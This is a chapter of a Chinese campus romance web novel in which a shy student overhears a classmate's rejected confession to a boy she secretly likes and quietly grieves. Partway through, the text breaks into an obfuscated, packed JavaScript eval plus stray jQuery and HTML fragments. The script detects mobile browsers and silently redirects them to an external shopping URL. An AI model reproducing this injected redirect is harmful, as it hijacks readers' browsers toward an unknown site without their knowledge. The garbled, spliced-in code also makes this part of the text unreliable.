时苡初没想到，自己会在运动会结束的当天，亲眼目睹一场表白。
彼时运动会结束，大家各自回到班级，准备上今天的最后一节课。
林诗予回到班里，才发现自己的水杯落在操场上了。
因为前两日跑了四百米的缘故，她现在的腿还是软的，便只能拜托时苡初帮忙再跑一趟。
时苡初没有拒绝，等她回操场拿到水杯时，操场上已经没什么人了。
她加快了脚步，想赶在上课前回到教室，却在上楼梯时，听见一道含笑的女声。
“我喜欢你。”
时苡初的脚步就顿住了。
她无意围观旁人的告白，只是有些纠结，此刻她正站在楼梯的拐角，要是往上，一定会和他们撞上，但要是折回，另一条楼梯离七班有些远，只怕不能在上课前赶回去。
就在她迟疑的片刻，那道女声再次响起。
“我从高一就喜欢你，我不想错过这次机会。”
她听见她念出那个名字。
“沈临霁。”
本想走的脚步便再也迈不开了，她有些怔然的抬头，正好看见少女的侧脸。
她穿着校服，扎着高马尾，眉眼之间扬着笑意，指尖紧紧攥着一封情书。
原本毫无波澜的心，却在这一刻忽得提起。
空气凝滞着，压抑，让人无法喘息。
终于，沈临霁开口了，声音很淡。
“抱歉，我没有早恋的打算。”
少女攥着情书的指尖收紧，精心准备的信封上出现褶皱。
她愣了几分，再度开口，声音依旧含着笑，却多了几分逞强的意味。
“没关系啊，我可以等你。”
几乎是话音落下的瞬间，空气便再度凝滞了。
时苡初看着她微微泛红的眼，好像在这片刻，与她感同身受到了那分窘迫。
“我好像，并不认识你。”沈临霁的声音再次响起，他垂着眸，眼底带着些许歉意，身上那股熟人勿近的疏离感却更重了几分。
少女愣愣地站在原地，没有反应过来。
他又说了一遍，“抱歉。”
时苡初想，若她是那个少女，此刻只怕已经羞愤地跑开了。
可她没有，她依旧笑着，虽然眼底已经漫起了泪花，却还是固执地开口。
“没关系的，我只是，只是不想错过这次机会，不想给自己留下遗憾，谢谢你。”
少女说完，紧攥着情书的手反倒松了几分，语气也轻快了些。
“很抱歉给你造成困扰了，祝你以后，一切顺利。”
“你也是。”
少女点了点头，转身离开。
时苡初垂头望着自己手中的水杯，她想，自己永远也不会有这样坦然的勇气。
她听着楼梯口的脚步声越来越远，直到消失，调整了下心底的思绪，准备回教室。
抬头的瞬间，她的余光无意识地掠过身侧。
“……言笙？”
时苡初的声音很轻，带着些许不确定。
江言笙正靠着楼梯的扶手，手中拿着一瓶矿泉水，不知道站了多久。
听见时苡初的声音，她微微抬头，没有出声，只是从她身侧走过。
时苡初看着她离开的背影，微微抿唇。
她觉得自己应该说些什么，却怎么也不知道如何开口。
反倒是已经走出来一段距离的江言笙侧头。
“要上课了，你是准备迟到吗？”
说完这句话，她也不管时苡初是什么回应，径直离开。
时苡初终于还是赶在上课铃声响之前回到了教室。
周云清还没来上课，教室内窗帘紧拉着，没有开灯，唯一的光源只剩下放着电影的投影屏。
时苡初猫着身子回到了座位，将手中的水杯递给了一侧正拿着手机玩的林诗予。
“谢谢一一，你最好了。”
时苡初弯了下嘴角，目光落到投影屏上，那是一部很火的青春电影。
一整节课，周云清也没有出现。
或者说，她其实在上课铃响时走到了教室外，但只是看了眼，便又回了办公室。
电影播放到一半时，玩了半节课手机的林诗予终于抬头，轻轻推了下时苡初，压低声音开口。
“听说有人和沈临霁表白了。”
时苡初的指尖骤然缩紧。
林诗予还在说，“你说沈临霁到底喜欢什么样的？那么多女生追，没一个成功的。”
她自顾自地分析，“长得好看的不行，成绩好的不行，青梅竹马也不行，总不能是喜欢男的吧？”
时苡初被她最后一句话呛了一下，轻咳了两声，无奈地看了她一眼，“你小声点。”
却也从中听出抓取到新的消息。
他好像不喜欢夏舒瑜。
林诗予嘻嘻笑了两声，还要再说，便见前桌的女孩也回头看了过来。
“你们在说沈临霁？”
沈临霁这个名字，起码在七中，总是能引起一片波澜的。
有人一起聊八卦，林诗予自然是欣然接受，压低了些声音继续道。
“说起来，今天和他表白的那个女生还是夏舒瑜的朋友，平时因为夏舒瑜的关系多多少少和沈临霁有一些交集，连她都被拒了，只怕其他女生也没什么机会了。”
时苡初愣了下，下意识问道，“他们认识？”
林诗予想了想，“认识的吧，我听说夏舒瑜生日的时候他们见过面。”
提及沈临霁，前桌的女生显然也兴奋了些。
“你们知道他是怎么拒绝的吗？”
林诗予摇头，“难道不就爱那句老套的‘我没有早恋的打算’吗？”
和沈临霁表白的女生，十个有八个都会得到这个模板化的回复。
“这次不一样。”前桌竖起根手指摇了摇，“这次他说的是，‘我好像并不认识你’。”
“啊？”林诗予有些惊讶，“虽然可能确实不算熟悉，但也不到不认识的地方吧，这样说岂不是太伤人了。”
“也不能这么说，沈临霁这个人不就是向来这样吗？看似和谁都能说上几句，但边界感挺强的。
而且，直接这样说，也可以绝了对方的心思吧，总不能一直吊着人家。”
林诗予皱了下眉，勉强接受了这个说法，“这倒也是。”
时苡初只静静地听着她们交谈，没有开口。
直到此刻，她才对林诗予之前对沈临霁的那句“他性格挺冷”的评价有了实感。
时苡初不知道自己是怎么看完那半节课的电影的。
投影仪上的画面一幕幕掠过，而她的脑海中，便只剩下那句冷淡的、带着疏离的话。
“我好像，并不认识你。”
他说这说话时，或许有歉意，却没有丝毫犹豫。
对于一个曾经参加过同一个生日聚会，多次出现在自己朋友身侧的人，他的回答也只是那句冷淡的“不认识”。
时苡初垂下头，不可避免的开始设想。
如果，如果今天，是她站在他的面前，说出那句“我喜欢你”呢？
他们间的交集甚至不如他和另一个女孩的多。
大概，他也会用那样疏离而礼貌的语气，告诉她。
抱歉，我好像不认识你。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744583|209227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
时苡初闭上了眼，不敢再去细想。
她忽然有些庆幸，至少，自己并没有那样的勇气。
至少，她不用面对表白时空气骤然凝滞的窘迫，不用听那句足以让所有幻想都破碎的话。
电影放完之前，下课的铃声先响起了。
“行了，都把灯打开吧。”
周云清踩着下课的铃声来到了教室，她站在讲台，对着靠墙的同学说着。
灯光骤然亮起，时苡初有些不习惯地别了下眼。
周云清关停了还在播放的电影。
“电影好看吗？”
七班的学生自然是应和，“好看！”
“既然这么好看，那回去把它看完，然后写一份读后感。”
刚刚还满声雀跃的教室只剩下一片哀嚎。
章承泽第一个跳出来表示抗议。
“老师，这运动会才结束，让我们歇歇吧。”
周云清卷起手中的卷子，不轻不重地拍了他一下，“运动会都玩了两天半了，但凡你们把这份心放在学习上……”
“成绩早就突飞猛进了——”有人附和了一声。
周云清瞧了那人一眼，“知道就好，课代表来把试卷发下去，周末作业一份卷子，观后感和作文二选一。”
林诗予有气无力地趴在桌子上，用笔头戳了戳时苡初的手。
“一一，你准备写观后感还是……”还没说完的话，在看到对方有些泛红的眼眶时就变了个语调，“你怎么哭了？”
时苡初拿纸擦了一下眼角，语气格外淡定的回道，“电影有点催泪。”
“是吗？”她有些怀疑，但很快就在接踵而来的作业打击下失去了探究的欲望。
她欲哭无泪地开口。
“我就知道，老师们是绝对不会放过我们的！”
见她转移了注意力，时苡初微不可闻的松了口气。
放学的时候，又下了雨。
雨不算大，细密的雨丝斜斜地飘落，将整座城市笼罩在水雾之中。
时苡初站在公交站台，等车的人有些多，她只能稍微找了处不至于被雨淋湿的地方站着。
六点时分，公交站台的灯准时亮起。
时苡初抬头看了眼，柔和的灯光落在雨幕之中，投下一片光晕。
有人也注意到了亮起的路灯，和身边的同伴说着。
“这次的路灯倒是修得很快，以前都要拖个一月两月的。”
“好像这次路灯坏的第二天就修好了，我当时也觉得这次的效率很快呢，居然不拖了。”
“这样也好，不然晚上一个人等车，灯光忽明忽暗的，怪渗人的。”
时苡初听着他们的交谈，收回目光，雨幕之中，一切都变得模糊。
她抬了下头，看见马路对面停着的一辆车，有些熟悉。
时苡初盯着那车看了几秒，没想出来在哪里见过，反倒是透过那凝着雨水的车窗，看到了一张模糊的侧脸。
沈临霁？
就在她愣神的一瞬，他侧头望了过来，只轻轻地掠过，又很快收回了视线。
迟来的公交车挡住了她的视线，时苡初跟随着人群上了车，再望向窗外时，那辆车已经不在了。
车上嘈杂，但她还是听着自己缓缓恢复平静的心跳。
她看着不断打落在车窗上的雨珠，突然想起自己在那份上交的文章上写的一句话。
“秋天，是一个适合告别的季节。”
——
–为什么，只是轻飘飘的一眼，也能让我心跳加速。
–我也是，不认识的人吗？
—2026.10.28